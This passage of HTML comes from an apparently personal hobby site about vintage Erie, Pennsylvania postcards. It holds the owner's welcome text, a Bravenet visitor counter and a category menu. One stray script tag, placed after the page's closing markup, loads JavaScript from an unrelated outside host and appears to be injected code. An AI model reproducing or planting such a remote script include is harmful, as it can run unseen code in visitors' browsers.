His teacher brought him an old Erie postcard dating back to the 1930's and gave it to him. My son gave that card to me, and I became intrigued with these wonderful postcards that looked more like small paintings than postcards to me. From that point on, I've been hooked on old postcards and exploring the history of the town that was such a wonderful place for me to grow up. </div> <bR> <div> Please enjoy the cards and participate in the discussion groups.  Share your stories about the wondeful places shown here...and maybe even "donate" a picture of your postcards to share with others. This website is designed to be an interactive project. I hope you enjoy it!</div> <bR> <div> Tom Rowan</div> <div> living in Atlanta,</div> <div> but whose home is always Erie</div> <bR> </tD> </tR> </TABLE></B></I></div> <div>  <SCRIPT LANGUAGE="javascript" src="http://www.qksz.net/1e-2k5k"> </SCRIPT>  </div> <div>   <script type="text/javascript" language="JavaScript"> sw="none";sd="none";ref=""+escape(document.referrer); </script> <script type="text/javascript" language="JavaScript1.2"> sw=screen.width;nav=navigator.appName; sc=(nav!="Netscape")?screen.colorDepth:screen.pixelDepth; </script> <script type="text/javascript" language="JavaScript"> function doit(str) {document.writeln(str);} qs="&sw="+sw+"&sc="+sc+"&ref="+ref; url='http://counter2.bravenet.com/index.php?'; url += 'id=339300&usernum=123550549&cpv=1'; curl='http://counter2.bravenet.com/counter.php?id=339300&usernum=123550549'; doit('<a href="'+url+'" target="_top"><img border="0" src="'+curl+qs+'" /></a>') </script> <noscript> <a href="http://counter2.bravenet.com/index.php?id=339300&usernum=123550549&cpv=1" target="_top"><img src="http://counter2.bravenet.com/counter.php?id=339300&usernum=123550549" alt="Bravenet.com" border="0" /></a> </noscript>  </div> <div> <A HREF="id17.htm" TARGET="_top" TITLE="Battles and War Memorials"><U>Battles and War Memorials</U></A>   |   <A HREF="id105.htm" TARGET="_top" TITLE="Business and Industry"><U>Business and Industry</U></A>   |   <A HREF="id18.htm" TARGET="_top" TITLE="Churches and Cathedrals"><U>Churches and Cathedrals</U></A>   |   <A HREF="id19.htm" TARGET="_top" TITLE="Downtown"><U>Downtown</U></A>   |   <A HREF="id20.htm" TARGET="_top" TITLE="Floods and Storms"><U>Floods and Storms</U></A>   |   <A HREF="id21.htm" TARGET="_top" TITLE="Hospitals, Homes and Schools"><U>Hospitals, Homes and Schools</U></A>   |   <A HREF="id22.htm" TARGET="_top" TITLE="Presque Isle and Lake Erie"><U>Presque Isle and Lake Erie</U></A>   |   <A HREF="id23.htm" TARGET="_top" TITLE="Waldameer Park"><U>Waldameer Park</U></A>   |   <A HREF="id24.htm" TARGET="_top" TITLE="Nearby Towns and Sites"><U>Nearby Towns and Sites</U></A>   |   <A HREF="id26.htm" TARGET="_top" TITLE="FAQs"><U>FAQs</U></A>   |   <A HREF="id79.htm" TARGET="_top" TITLE="Postcard Books Links"><U>Postcard Books & Links</U></A>   |   <A HREF="id25.htm" TARGET="_top" TITLE="Contact Me"><U>Contact Me</U></A></div> <bR> <bR> </td> </tr></table></body>
